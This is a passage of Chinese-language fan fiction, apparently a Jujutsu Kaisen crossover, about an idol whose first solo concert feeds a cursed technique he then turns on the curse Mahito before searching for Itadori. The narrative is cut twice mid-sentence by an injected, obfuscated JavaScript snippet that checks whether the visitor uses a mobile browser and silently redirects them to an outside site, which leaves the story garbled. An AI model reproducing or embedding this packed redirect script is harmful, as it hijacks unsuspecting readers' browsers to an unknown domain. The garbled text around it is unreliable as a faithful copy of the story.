“我还是觉得,”他在一片黑暗里喃喃,“如果甚至不能被他人牵动感情,爱与恨都全不具备的话……” 土石一般的穿着皮囊的非人,无法操控的异常造物。 但偏偏,这些令人厌恶的东西里,有一部分能够对自诩人类的星野璃空造成威胁。 他的术式并不是为了战斗打造的,一切的一切,都围绕着“引动感情”这个前提。时至此刻,这些繁杂的条件、软弱的束缚让星野璃空有些,烦躁。 “怎么可能?”吉野顺平的回话声响起,“至少会爱陪伴自己的亲人吧?” 大概是把星野璃空的沉默当成了某种否认,片刻停顿之后,他补充了几句。 “好吧,或许有的不会。但是只要是生物,绝对绝对,都会害怕死亡吧?” “对‘死’的畏惧,可是超乎个人的意志,在濒死之际都会自然而然流露的啊!” 星野璃空无奈地笑了起来:“归根结底,还是要有能带来死亡的能力啊。” 将吉野顺平的“什么?”敷衍过去,他也随之沉下心来,摒弃了那些繁杂的念头。 因为收服真人的缘故,对自己术式有些过于在意了,这并不是好事。星野璃空的力量,主要还是来自他尚未走上正轨的偶像事业,那些被吸引的爱与恨。 与其纠结无法操控之物,更直接的做法,大概是平等地带来死亡。 心底复盘着演唱会的安排、已售出电子票的数量,他心底已经有了大概的估计。 等到这次演唱会圆满结束,粉丝数量再上一个台阶,应该就可以再次尝试打开【领域】了。 必然俘获目标的绝对控制,甚至超越感情的全面操控,到了那个时候,他就终于可以把真人这个不定时炸弹一脚踢开。 问题是,即使他为了这一天,从幼时开始就努力了这么久、精心准备了这么久,但只要是人类参与的活动,就必然存在出现各种意外的概率——就像今天这样。 时间一天一天逼近,就连星野璃空也不敢保证“能有什么问题”了。一改之前跟虎杖保证“才没有压力”的傲慢模样,哪怕排练中从来没有出过错,他还是忍不住不间断地反复练习,恨不得天天拉着伴舞去Live House彩排。 要是明天就能举办就好了。 这样想的时候,已经不是因为期待和兴奋,而是“那样就能解脱了”。 在星野璃空像数着刑期一样倍感焦灼的时候,演唱会的日子,终于如约到来了。 13. 永恒傀儡 后台的星野璃空有些烦躁。 不是因为演唱会。再过半个小时就要正式开场了,化妆师拿着小刷子在他脸上涂来涂去,工作人员正紧急对灯光做最后调试。事到如今,先前那些忧虑反而一扫而空,莫名亢奋起来。 此时此刻,心头仍笼罩着的一丝阴霾,是因为虎杖悠仁。 不是说好要来的吗? 他盯着显示“未读”字样的消息,眉头不由皱起,又在化妆师的制止下勉强放平,干脆直接打了电话过去。 依旧无人接听。 ……这小子,放我鸽子?? 明知道这场演唱会,第一次的one-man live对星野璃空而言有多么重要! 侧边有人催促:“都准备好了吗?快快快,马上就到时间了!” 化妆师最后扑上一层定妆散粉,对着自己的完美作品啧啧称赞,满意离去。星野璃空注视着镜子里的少年,半晌之后,轻轻扬起了嘴角。 银白丝质内搭紧贴身躯,勾勒出少年清瘦而柔韧的线条。外罩的演出服则强调和他的眼瞳相似的蓝紫色,宛如蕴藏着夜空。 特殊的反光面料在灯光掠过时,会骤然折射出星河倾泻般的碎彩,闪逝的明光。 宽大的袖摆与衣角处是层叠的薄纱,边缘密铺着一层细碎的水晶。衣料随着动作轻轻摇曳,发出柔和的沙沙声,仿佛披着一整片星云。 化妆师精心晕染了同色调的眼影,用美丽的色彩、细腻的手法竭尽所能地铺陈,保证在今夜的聚光灯中,这对举世无双的宝石能够在足堪匹配的衬托之下,让所有目视者为之痴狂。 用黑色眼线强调了猫眼那精巧的轮廓,眼尾流畅地上挑;眼睑处铺陈着熠熠的闪粉,再饰以几颗渐次排列的水钻。 甚至不需要多余的表情,一个回眸、一个凝视,就足以让台下的粉丝尖叫发疯。 换好演出服的伴舞凑了过来,是其中和星野璃空关系最好的那个。他用崭新的惊叹眼神看着面前的少年,仿佛目视平日尘土中安静的宝石,突然被细细擦拭、精心雕琢,放射出难以想象的璀璨星光。 简直就是天生的偶像。 原本是想安慰第一次举办个人演唱会的少年不必紧张,但现在看来,似乎并没有那个必要。 最终他只是对星野璃空比了个“加油”的手势,促狭地眨了眨眼睛。 “只要保持平时排练的水准就可以了,Riku酱,”他相当笃定地宣布,“这场演出绝对会大爆的!!” “是吗?借你吉言。” 星野璃空眨眨眼睛,有些羞赧般温和地笑了笑。 保持平时的水准。这样就够了吗? 与他的期望相比,还差得太多太多了。 必须更加地—— “主角该登场了,”有人说,“粉丝已经等不及了。” 于是他随之摒弃了一切纷乱杂念,深吸一口气,缓缓站起身来。 幕布已经拉开。轰然亮起的射灯让视野短暂地消失了,唯一确信的是,那独属你一人的舞台虚席以待,而无数人正以狂热的欢呼迎接着你。 “星野璃空——!!!” “Riku酱Riku酱Riku酱!!” “啊啊啊啊啊啊——” 我在这里。我在注视着你。 至少此刻,倾注了如此真挚、如此狂热、如此盲目,几乎连自己也一同燃烧起来的喜爱。 【最喜欢最喜欢最喜欢了,所以今后也一直这样闪耀下去吧。】 因为听见了场馆之中那震耳欲聋的声浪,星野璃空的笑容变得更为夺目了。 “谢谢大家特地前来欣赏本次的【夏日焰火】,第一次的个人演唱会,”他在愈发高涨的呼喊声中闭目深深鞠躬,神情宁静而虔诚,“万分感激。” 似乎牵引着全场所有光线,漫过躯干、覆上脸庞,以至于整个人都作为无法移开视线的焦点,散发出堪称魔性的魅力来。 星野璃空直起身来。星河般的眼眸重新睁开的一瞬,连喧嚣震荡的声浪都为之止歇,只余下呼吸声的场馆之中,回荡着少年轻柔的嗓音。 “今晚是‘星野璃空’真正诞生之夜。远道而来,参加这场诞生祭的尊贵宾客们——” 他笑着宣布:“现在开始,让我们彻夜狂欢吧。” * 演出开始之前就联系了线上平台,同步开始直播;社交媒体上当然也发布了广告,同时还邀请音乐媒体和涩谷的当地媒体进行报道。 宣发做得这么全套,某个给咒灵放动画片以外几乎毫无存在感的系统功不可没。 现场已预热完成,直播间被金钱和算法的力量共同推到首页,在线人数也开始随之飙升。 【今天开始这就是我推了,嗨达令】 【新出道的偶像吗,好权威的一张脸(膜拜)】 【好稳定的气息,新人吗(汗颜)】 【Riku酱的Live,因为工作去不了……气得直跺脚( ; ; )】 【这是我们Riku酱,超新星般璀璨的完美偶像!现在推也不晚哦kk】 系统终于有了用武之地。除了星野璃空的视角,它悄然潜入了现场所有可交互设备,手机、相机、摄像头……通过无数只黑洞洞的眼睛,毫不间断地捕捉着舞台上的每个角落。 咔嚓,咔嚓,咔嚓。 瞬息之间挑出一张最为出彩的照片,微调各种参数,再稍稍模糊下前景,变成一张路人也忍不住驻足围观的高清神图。 搭配“#神颜”“#新人都是怪物”“#地偶”等tag,用伪装成狂热粉丝的小号飞快发布,再由其他小号点赞评论转发,引发进一步追捧。 几乎早已是娱乐圈的常规操作,只是对轻而易举操纵数据的系统来说,更加隐蔽、迅捷、毫无端倪罢了。 当然,做数据最重要的一点是,正主的硬实力确实能打,能扛得住泼天的流量,还有伴随审视汹涌而来的、驳杂的爱意与恶意。 【这个长相我完全eat不到好吗】 【又是这种类型?工业量产啊】 【果然实力跟不上就只知道炒作呢,笑】 【专门进来只是为了给差评哦ww粉丝真的很烦】 【完全就是在模仿前辈们,偶尔也要自己动动脑子吧】 就像是飓风搅动了幽暗的深水,被惊醒的鱼儿们浮上水面争相觅食。在互联网的隐蔽性保护下,迅速转化的新粉丝、保护欲超强的初始粉丝和疯狂涌入的对家开始了惊天动地的搏斗。 而被颜值和歌喉吸引的路人粉则在一旁茫然围观,一部分可能默默潜水,但也有的会因为忍不住保护性点评两句而被卷入战圈之中,从而在几次团战之后,迅速升华成核心粉丝。 ——当然,这一切都在系统的计划之中。 它看着一路暴涨的数据,忍不住发出幸福的叹息声。当然,为了防止干扰星野璃空的表演,一切信号都被提前禁止传输,此刻它只是因为统生价值得以实现,所以快乐地自嗨一下罢了。 也不能说是完全的自嗨,系统兴奋地敲了除正牌宿主之外唯一一个链接对象,在对方脑子里随心所欲地大肆鸡叫:【看到没有!你看到没有!!】 动画片被强行切走、被迫收看多机位演唱会的真人:“…………” 他思考几秒,认真回复:“要么其实我已经死了,才会看到这种离谱的东西;要么你们两个都病得不轻。” 系统完全不在意这种恶评。哎呀,马上就要洗白下锅的鸡鸭牛羊气急败坏的哀嚎罢了!它一边盯着演唱会现场进度,一边对网络数据进行操控,简直忍不住想再发个帖子炫耀一下。 【被宿主始乱终弃后,我靠放动画片逆袭了】 照这个势头下去,即使宿主口口声声拒绝绑定,它所需要的能量也能很快收集达标的!如果到时宿主还没有改变主意,应该就能顺利离开了! 想到这里,系统居然还觉得有点不舍。 除了今晚的操作,它几乎没有对星野璃空的偶像事业起到一点点正面贡献,嗯,订车票和放动画片不算。而营造热度、制造水军这种事,其实是稍微花点钱请人就能解决的。 而在它几乎没有给予任何助力的情况下,宿主每天变着法拼命自己PUA自己,出回老家逛街都不忘时候维持偶像人设,可以说非常敬业了。 系统有种预感,它今后有可能再也遇不到这么省心、这么自觉、偏偏还这么天赋异禀的宿主了。一想到这种0本万利的好事正在对自己挥手说拜拜,它忍不住抹着泪修改了设想中的帖子标题。 【一句话,让他主动收集80%能量,我做对了这三件事】 …… 虽然炒热气氛时说是“彻夜狂欢”,但对普通的演唱会来说,九十分钟左右差不多就是极限了。 拖得再久的话,粉丝和偶像都会感到疲惫。 七十分钟的时候,星野璃空已经退场过一次。再然后,就是在铺天盖地的“安可”声中开始的返场歌曲。 这次的演唱会,他一共准备了七首未经发布的原创歌曲,之前已经演唱了六首。剩下那首最为满意的核心曲目,专门留给了最后的安可环节。 八音盒的叮咚声响起,星野璃空已经脱掉了那件闪着光的宽大外套,改为在紧身的内搭上披了件宽松的白衬衫,像是急匆匆起床的邻家少年一样,重新出现在舞台上。 “那么,《为你献上名为诞生的诅咒》。” 【为我剥开糖纸吧 跌落出的是赤/条条的我 很惊讶吧?所以你舍弃了】 期盼了这么久的演唱会,终于如愿圆满结束了。 星野璃空跌坐在后台的靠背椅上,只感觉大脑完全不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442840|185040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想思考,连一根手指头都懒得动。 明明知道这种时候该看看网上的主流评价,同时对粉丝表达感激,再顺便宣布一下原创歌曲专辑,但此时此刻,浑身上下每一根神经发出了接连的哀嚎声,让他只想在无人的安静处彻底放空。 放任自己休息之前,星野璃空迟疑一秒,还是看了一眼留在后台的手机。 【世界今天也在不停旋转 推动着名为我的谎言 被你的承诺维系着 今夜就要到期的“永远”】 依然未读的数个消息。演唱会开场之前就反复拨打的电话,红彤彤的一串“未拨通”躺在通讯记录上,始终没有回音。 他沉默了一会儿,恍惚之间,再次拨打了那个电话。 【诞生在你的注视之中 移开的瞬间就宣告终结 无意义的生命,这算是礼物吗? 明明是你、在这之前,诅咒了我】 忙音。忙音。依旧是忙音。 捏着手机的力道越来越大,在片刻的安静之后,星野璃空猛然举起亮着屏的手机,朝着面前的化妆镜狠狠掷去——! 【镜中的幻象碎裂成了一千片 连同回忆也一同凋零落下 即便如此依然无法离开 以爱以恨,铸就我的你】 演唱会早已散场。人去楼空,连最后一盏灯也熄灭了。 被浓郁不见五指的深沉黑暗所包裹,少年独自躺在靠背椅上,陷入了一片纯然的寂静之中。 在愤怒什么呢?今天的演唱会相当成功。即使没有虎杖悠仁,也会有更多的、前赴后继的人喜欢你吧? 不是因为那个。 星野璃空闭着眼睛,任由镜子的碎片倒映出一个又一个,数之不尽的自己。 人类的情感本就反复善变,他早就知道这点。轻易许下承诺,然后又轻易打破……逢场作戏一般的“我永远爱你”“实在太感谢了”,他从来也没有寄予厚望。 彼此都心知肚明,只是夸张地表达了,那一刻转瞬即逝的爱而已。 但是,我花费了这么多精力的你,视作某种“锚点”,自大到以为已经归为己有的你—— 怎么可以和他们一样,这样轻易地舍弃我?!! 【不想重回糖果盒中 所以渴望着你的欺骗 那么就诅咒我吧 请为我献上 名为诞生的诅咒吧】 星野璃空睁开了眼睛。 还没等系统精心准备的庆祝动画——伴随着喜庆bgm、烟花特效的大写加粗“热烈庆祝演唱会成功”字样在眼前炸开,少年已经一抬手,从虚空中牵扯出洪流一般铺天盖地的丝线。 系统在短暂卡顿之后,迅速撤回了一个花里胡哨的庆祝。已经对宿主表里不一到仿佛人格分裂的性格相当了解,看到少年很明显已经狂怒到了某种程度,它感到相当费解。 明明演唱会,大概也许可能圆满成功了啊? 系统小心翼翼地出声:【主人,是演唱会有什么问题吗?】 “没有。” 星野璃空冷漠地否认,然后娴熟地从一簇簇丝线里挑出了格外显眼的一根。共享视野的系统粗略扫了一眼,觉得这大概是全场最粗的一根红线了,几乎能比拟束缚了真人的那根锁链。 宿主开始将其一圈圈绕到手腕上,还轻哼着方才演唱会上最后的那首歌,也是后台显示热度飙升最快的一首。 残留着妆容的精致面庞上,之前扭曲的怒气已经褪去了。但不知为何,现在这幅平静的面孔依旧令统毛骨悚然。 飞快将未发布的帖子标题又修改成了【宿主好像是个疯子,但他好爱我他真的对我很好怎么办QAQ】,系统简直要抱着星野璃空的大腿痛哭了。 【主人,我有做错的地方你可以直说,我好评率百分百的我一定改——】 “和你无关,之前是我的想法错了。” 星野璃空凝视着自己的手腕,那根出挑的红线宛如游蛇一般,温顺地缠绕其上,传递着遥远的脉动。 “越是寄希望于人类本身,就越是会感到失望。”他轻声自语,声音下一秒就被黑暗所吞没,“像真人那样就很好,不是吗?” 既然全都是白费力气…… 不如彻底纳入掌中,化为永恒的傀儡。 并没有隔着这么远的距离使用术式的经验,星野璃空垂下眼睫,感受着从所有丝线那遥远的另一端奔涌而来的,磅礴的诅咒。 不再区分爱憎,他将所有汹涌的情感尽数吞下,化为自己的力量。 再度抬眼时,那双眸子中星云般的光彩已然熄灭,只余下无机质宝石一般,纯粹到令人心悸的漠然。 他单手虚虚向上托起,唤出了领域那酝酿已久的名字。 “【万祭造星台】。” 14. 残羹冷炙 想要什么样的领域呢? 这和我个人的意愿无关吧。领域的效果和术式绑定,而同时,又会如此深刻地受到个人特质的影响。 自成一方结界,术式的必中效果,各方面的强力增益……我很好奇,潜意识(概念)里那种“诱人疯狂”的本能无法向外传递,只能针对个体使用的话,会是什么模样? 我—— 我知道。 少年和那个低笑着的声音同时给出了回答。 “如果迫于结界的阻断,无法吸引更多感情的话……” “那么,对于已经交付了爱恨的你、被我的‘世界’吞噬的你——” 黑暗之中,那张鬼魅一般美丽的脸庞如此倾诉道,“就任我宰割吧。” 无言的交流只是意识中的闪逝幻想,下一秒,只剩下少年一人的Live House内部,升起了吞噬一切的黑色死星。 星野璃空蜷缩在蛋壳之中,尚未苏醒的雏鸟。一束闪亮的光束猛然照耀在他身上,像是宣布演唱会开场的发令灯,惊醒了初次登台的青涩主角。 他睁开眼睛,于是这个小小的世界亮了起来。 从最初的射灯开始,同心圆状的灯光一圈嵌套着一圈,逐级朝外点亮,他的视线所到之处,内心深处的模糊渴望、那些连自己都尚不清楚的构想逐渐拥有了形状,赤裸裸地浮现在这方新世界之中。 立于中央的星野璃空,在只容一人站立的深色舞台上环视四周。 四面八方皆是仰视着他的面孔,宛如组成海洋的无数水滴般彼此簇拥着,一张紧挨着一张,一个紧叠着一个;没有四肢,没有躯干,只剩下铺天盖地的、能剧面具一般涂着白漆的脸,五官粗糙模糊,如同一个模子造就,就连那副欢呼般的疯狂表情、自空洞洞的口中延伸出的黑红锁链都别无二致。 那些锁链——数之不尽的锁链,最终尽数汇聚在他脚下,宛若交/媾的蛇群一般缠绕、扭曲、堆叠,构建了他所置身的舞台,独属他一人的宝座。 ……啊。 这就是星野璃空想要的东西吗? 原来这就是星野璃空想要的东西。 不清楚是因为心底突然涌上的荒谬与匪夷所思,抑或夙愿得偿的释然和喜悦,少年无法克制地笑了出来。 于是,海浪一般簇拥着舞台的人偶们也一同爆发出了震耳欲聋的欢呼声。 尖啸与口哨声彼此回荡,疯狂的底色之下,只剩下强烈激荡着的心之音,歇斯底里的爱与蚀骨铭心的恨。 星野璃空轻轻扯动指尖的丝线。 虽然依旧为他稳定地传送着驳杂的力量,但是因为领域做为“结界”的特性,他无法通过这种形式来操控千里之外的人,即使术式的效果确实得到了加强。 应该是得到加强了吧?究竟能做到何种程度呢? 先前因为虎杖的失约而翻滚搅动的心湖并未彻底平静,只是因为因为领域的展开,像是得到新玩具的孩子一样被转移了注意。 说起“玩具”……如果因为距离上的限制,无法用虎杖悠仁充当第一个祭品,那么,眼下不是有更合适的选择吗? 星野璃空暂且收起领域,回味着先前那奇妙感受,给手腕上的锁链那端传去了简短的命令。 【到这儿来】。 是时候,画上句号了。 * 咒灵带着缝合线的面孔很快浮现在黑暗之中,乍看之下有些悚然。他一改平常嬉闹般的笑容,牙关紧咬,死死瞪视着于靠背椅上单手支颐,闲适休憩着的少年。 “为什么这幅表情?” 星野璃空甚至懒得抬头,语气平静和缓。 “天台上落败的那晚,我就可以杀死你;暗中联系医院的咒灵,更是要记上一笔;名为五条的咒术师甚至主动说,可以无偿祓除你——可我没有这样做。” “是因为我的宽容,才苟活至今的啊,真人ちゃん。” 在疯狂鸣响的内心警报之下,咒灵从未有过如此强烈的、转身逃跑的冲动,然而却迫于锁链的“支配”效果,甚至连退开半步都做不到。 真人一灰一蓝的眼瞳满盈着恶意,几乎化为实质诅咒对方。 当初这个人是怎么说的来着?——“对我有大用”。 因为之前的置之不理、甚至是因为胸口无法反抗的锁链,他逐渐以为,这大概就是让他作为仆从听命行事的意思。 如果不是,为何不杀? 然而,随着少年蓝紫色的璀璨眼眸望了过来,一瞬不瞬地凝视着他,那种不详的预感愈发浓厚了。 对他术式的称赞、俘获之后又无所谓地放置…… 真人的心脏似乎蓦然间被死死收紧了。 不,这不可能!咒灵和人类不同,他自诞生就能使用【无为转变】,因为那是他不可分割的一部分,是真人作为“人类对人类的恐惧”这份本质的体现。 怎么可能会被褫夺?除非,连同这份本质一同夺走! “你看起来也很好奇呢,”星野璃空挑起了唇角,“关于我能做到何种程度。” 白发的少年站起身来,宛若邀舞一般,向着惊弓之鸟的咒灵虚虚抬起了手。 “那就一同来看看吧。” * 在深夜的室内,无亮的暗房之中,更为黑暗沉郁的死星再次升起。 对于完全无法反抗【支配】的真人来说,根本是小材大用。 足上束缚着金链的鸟儿,徒劳无助地跌落餐盘之中。星野璃空就是那坐享其成的食客,说着“那么,我开动了”,慢条斯理地将之分割挑拣,寻找着心仪的部分,最后张开双唇,将其贪婪地纳入腹内。 “这是,领域?挺能唬人的嘛。” “你在做什么——你拿走了什么?!” “我会真正奉你为主,你知道我无法反抗你!主人,主人你完全没必要——” “……混蛋,混蛋混蛋混蛋我要杀了你把你做成人偶一直一直一直折磨致死!!!” 结束了这顿盛宴,收起领域的星野璃空满足地坐回椅子上,不由自主地舔舐着嘴唇。 不止是术式,也许是因为咒灵的特性,藉由领域的帮助,他成功地篡夺了对方的一部分“本质”。 毕竟明晰对方的存在概念之后他就知道,“人类对人类的爱恨”与“人类对人类的恐惧”,二者确实有重叠之处。他能成功吞噬一部分,除了领域对“任我宰割”这份意志的实现,全有赖这份相似了。 “一副撒娇的可爱样子哦,真人ちゃん。” 星野璃空站起身来,懒洋洋地伸了个懒腰,因为熬夜太久,不由自主地打了个大大的哈欠,眼角泛起了一星半点的泪花。 他看着依旧缠绕在手腕间的锁链,干脆利落地将其解除了。牢不可破的红与黑瞬间崩溃散落,重新化为飘荡的丝线,随之融入虚空,消隐无踪。 那颗无形的“心”,他已经随手还给了真人。 原本死死蜷缩在地板上、浑身上下都无法遏制地颤动着,近乎崩溃的咒灵短暂地凝滞了一下,抬起头来,呆滞地望向他。 “……?” “代表着‘支配’的【锁链】,我已经解除了。”那个人甚至有心情开着玩笑,似乎有多么温柔体贴一样,“惊喜吗,真人ちゃん?” “失去术式”与“摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442841|185040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脱控制”两个事实在脑中相撞,愤怒、恐惧与厌恶在颅内攀上一波紧接一波的顶峰,咒灵浑浑噩噩的大脑一时反应不及,下意识道:“为什么……?” 不对,不对,不能问!冥冥之间,他似乎已经猜到了那个答案——如同过去的自己一般恶劣、甚至更为残忍的答案。 正因如此,绝对不想听到! 但是话语脱口而出,无论如何都无法收回了。甚至上个模糊的念头都还未被理智认清,更来不及后悔,面前的星野璃空已经给出了回答。 “嗯,那个啊。因为已经没用了。” “没用”……? 因着他恍惚的神情,少年自然而然地重复了一遍。 “因为真人对我来说,已经没用了哦。” 宛若玫瑰的花瓣一样,丝绒样的柔软嘴唇一张一合,“所以怎么样都无所谓。” 将唯一可入口的珍馐吞吃入腹之后,剩下的滓渣,怎么样都无所谓。 ——就是这样的意思。 * 主神在上呀! 系统在暗中尖叫。 因为灵魂上的链接已经断开,它无从知晓破布娃娃一般瘫在地上的真人作何感想,否则它真的很想采访一下对方。 它以为宿主平常对它的颐指气使、冷嘲热讽、羞辱无视已经很恶劣了,结果现在一看,居然居然,还不到这个人真实黑泥程度的万分之一!! 于是系统丝滑地滑跪,谄媚地小小声道:【我很有用的!演唱会的数据一直在关注,炒作也炒得张弛有度!】 星野璃空一怔,张口依然是熟悉的台词:“你还在啊。” 系统卡了,系统觉得自己有点心梗了。但是它很快就振作起来,转而关心起更现实更要紧的部分。 【那个,就那样放生了,没关系吗?】 对系统来说,咒灵和满脑子攻击欲望的大型魔兽没有什么区别。这样搁置着,似乎很危险的样子。 星野璃空的眉头微微皱起了些。敏锐察觉到这点的系统刚刚准备撤回发言、疯狂道歉、宿主举动全肯定一键三连,就看见少年的神态复又放松下来,依旧是那副因为进食而犯困、有些懒洋洋的模样。 “你喜欢洗碗吗?” 【………】完全get不到宿主的逻辑,系统小心翼翼回答,【喜欢?】 “我不喜欢,”朝着出口处走去,想要快点找个休息的地方,星野璃空随口回答,“吃完大餐之后收拾残局,那些垃圾、残羹冷炙和油腻腻的餐具,是我最不喜欢的部分了。” 脚步声已经逐渐离开,少年完全是在陈述事实的平静话语,从黑夜的角落里遥遥飘来,让独自留在原地的真人颤动了一下。 一遍一遍地,他咀嚼着那个名字。 星野,璃空——!!! * 走出场馆的星野璃空,对此一无所知。 就算知道了也不会在意。真人的恨意对他而言是养料也是弱点,它越是如此仇恨,下次面对面时,就越是容易被星野璃空轻易操控。 此时此刻,少年站在无垠的星空之下、空空荡荡的马路边上,深呼吸一口冰凉的夜风,没来由地有些迟疑。 【主人我帮您叫辆回家的出租?】 被谄媚的系统提醒,星野璃空的神色不自然地僵硬了瞬间,最终还是否决了。 “给我……时间最近的,”他顿了顿,“去仙台的车票。” 你最好是真的出了危及性命的大事,虎杖悠仁。比如被大卡车创成植物人了。 形状精巧的猫眼一点一点眯了起来。 ——否则,这条性命马上就要不属于你了。 15. 选择牺牲 没有人。 虎杖的住处、学校,以及医院,都没有少年的踪影。 原本是想询问虎杖的爷爷是否见过孙子,结果只看到了空空荡荡的病床。护士说,老人于昨天下午溘然长逝了。 不过凑巧,她还记得,虎杖悠仁当时在场。 谢过护士之后,星野璃空也没有急于离去,而是在医院走廊的长椅上坐了下来。 唯一的亲人去世了。他记得虎杖的父母早早逝去,从小就是在爷爷的照顾下长大的,这么说,应该是相当严重的打击了。 虽然感情上还是很想责怪对方,但是理智的劝阻让他无法开口。 这个时候,应该是在殡仪馆或者墓园吧?就社交礼节来说,并不是适合打扰的时机。 极端的情感注定无法存续太久,昨天晚上先拿真人开刀,又迢迢赶往仙台、在数个地点扑空,之前那股翻腾的怒火已经逐渐隐去,取而代之的是愈发鲜明的厌倦与疲惫。 是啊,确实情有可原。 但若是如此频繁地让他患得患失的话……不如一劳永逸。 天平在不停震颤,左右来回摇摆。星野璃空将帽檐往下压了压,食指指节烦躁地死死抵着眉心。 走廊里不时有家属来去匆匆,医生和护士步伐急促,经常会时不时小跑起来。他一味沉浸在自己的思绪之中,控制的本能和另一些更加微妙不可言说的东西反复拉锯,以至于当某个脚步声停留在面前时,他并没有第一时间注意到。 “Riku酱?” 星野璃空抬起头来,和出声呼唤他的少年对上了眼神。 明明上次见面仿佛就在昨日,但或许是因为短时间内经历了太多,虎杖悠仁的身上,很明显有什么地方不同了。 违和感一闪而逝,他凝视着那双再熟悉不过的金色眼睛。或许在昨夜独自一人的时候崩溃落泪、也因迷茫而踯躅过,但是此时,依然是坚定、澄澈、不含丝毫阴霾的模样。 和他记忆中那个总是元气十足的虎杖悠仁相比,或许更加沉凝了些,但依旧是虎杖悠仁。 医院里人来人往,并不是谈话的好场所。虎杖踌躇了片刻,突然上前牵住他的手腕,示意星野璃空跟自己来。 他轻声解释道:“因为我有个必须要去的地方。” * ——是指殡仪馆。 虎杖倭助的尸骨已经火化,作为前者唯一的亲人,虎杖悠仁要去亲手捡骨。 去往殡仪馆的路上,怀揣各自不同的心事,两个人都没有开口说话。等到被工作人员引入房间,虎杖沉默着躬下身来,拿起特制的长竹筷,一点一点慢慢夹起被高温焚尽后的残留物,灰白色的骨骼碎片。 那个暴脾气、大嗓门的怪老头,一夜之间,变成了这幅安静顺从的模样。 星野璃空抱着双臂,靠在身后冰凉的瓷砖上,默默看着少年因为弯腰缩小了些的背影。 一开始,骨殖落入瓷罐之中还会发出“当啷”一声脆响。但是很快,罐子一点点满了起来,就像虎杖倭助的人生一样,在不知不觉间,飞快地、无人知晓地走到了尽头。 虎杖悠仁护着那个小小的罐子,身后是爷爷开朗大笑着的遗照,香炉上插着的三根线香冒出袅袅的烟雾来,让人一时之间有些恍惚。 “不哭吗?” 他迟钝地抬起头:“……啊?” 星野璃空依旧靠在墙上,静静地注视着他。 “这么难过的话,不会想要哭泣吗?” 你对他的爱是真实的,他对你的同样如此。所以,才会在逝去之前,特意对有所怀疑的星野璃空做出了那样的请求。 挚爱的亲人、唯一的亲人,你见证了他走向死亡,此时此刻,他的尸骨已经被你捧在手心,变成了小小的,余温尚存的一团。 耗费几十年编织了如此牢固的“线”,又在一朝被迫强行斩断。因为连接了彼此的灵魂,所以彻底撕裂的那一刻,会陷入令人发狂的绝望痛苦,不自觉地悲泣……这不是理所当然的吗? 而虎杖悠仁眨眨眼睛,只是向着他笑了笑。 “嗯,感谢关心。但是一直那样的话,爷爷大概也不希望看到吧?” “这么说,已经背着我哭过了啊,虎杖。” 将瓷罐的盖子牢牢扣上,虎杖悠仁倒是没有否认这一句。他紧紧抱着爷爷的骨灰,同不知从何处得到了消息、于是迅速赶回仙台的友人一起,在殡仪馆的室外找了个相对清净的地方坐下。 天气晴朗,阳光温柔,树影萧萧,清风拂面。鸟儿清脆的啼鸣从天际快活地落下,殡仪馆之外,世界今天也在照常运转。 “我……” 虎杖悠仁酝酿了半晌,最终还是吭哧吭哧道,“没能去演唱会,真的很抱歉。” 星野璃空很想冷笑,顺便问他知不知道自己的小命昨晚简直悬于一线。 但是恶劣的本性和尚存的良知在脑内你来我往打得飞起,他的表情反复扭曲了几次,最终还是定格在了二者调和折中的“开玩笑”上。 “道歉有什么用啊——下次吧,下次一定要去。” “这是最后通牒哦,”脸上挂着散漫的微笑,他语气温和地补充道,“再敢失约的话,我真的会杀了你。” 虎杖有没有当真星野璃空不知道,反正他点头了,他承诺了,他发誓绝对会去。 于是少年也就大发慈悲,暂时原谅了他,顺便把对方的“死刑”默默修改成了“死缓”。 好友似乎并不生气,这件事大抵轻轻揭过了。虎杖悠仁内心长吁出一口气,安慰自己,即使有从小到大的刻板印象打底,但现在看来,星野也没有那么不通人性……吧? 可恶,明明他有充足的理由!爷爷昨晚去世了,然后就是被名为“咒灵”的存在刷新了世界观,更别提千钧一发之际吞下了那根手指,今早一醒就被戴眼罩的陌生人宣布判处死刑什么的,他的前一晚也过得相当煎熬啊!! 但是一提起“演唱会”这个词,还是会变得莫名心虚。 对了。之前被科普咒灵时,对方提到了每年成千上万的失踪和异常死亡事件,而当着虎杖悠仁的面,两名灵研社的同学的确受到了伤害,其中一人现在还昏迷不醒。 这算是很重要的消息吧,要不要告诉星野呢?好歹日常生活中能设法规避一下…… 但是听起来很像找理由啊,而且要如何证实呢?虎杖悠仁正在绞尽脑汁,但是他很快就不用发愁了。 因为两人面前的小路上,有个相当醒目的高挑青年迈着轻快的脚步,冲这边直直走了过来。 * 察觉来人的那一刻,星野璃空想了很多。 身份暴露了?对方反悔了?还是热心肠到追到这里来祓除真人? 坏了,他该怎么解释已经把真人丢到一边了?——算了,还是继续装不知道吧,反正他的人设本来就是看不见咒灵的普通人。 但是,任凭星野璃空脑内百转千回,一瞬间做了七八个预案,硬是没想到这个人一开口,居然是先和身旁从小到大远离咒灵清清白白轨道平稳的虎杖悠仁打了招呼。 “呦,和朋友在一起啊。那么,做好决定了吗?” 星野璃空茫然眨眼,随后缓缓皱起了眉头。 什么决定,决定什么?他同样望向一旁不知为何僵坐着的友人,催促道:“虎杖?” 一瞬间,虎杖悠仁听到了自己大脑飞速转动发出的嗡鸣声音。 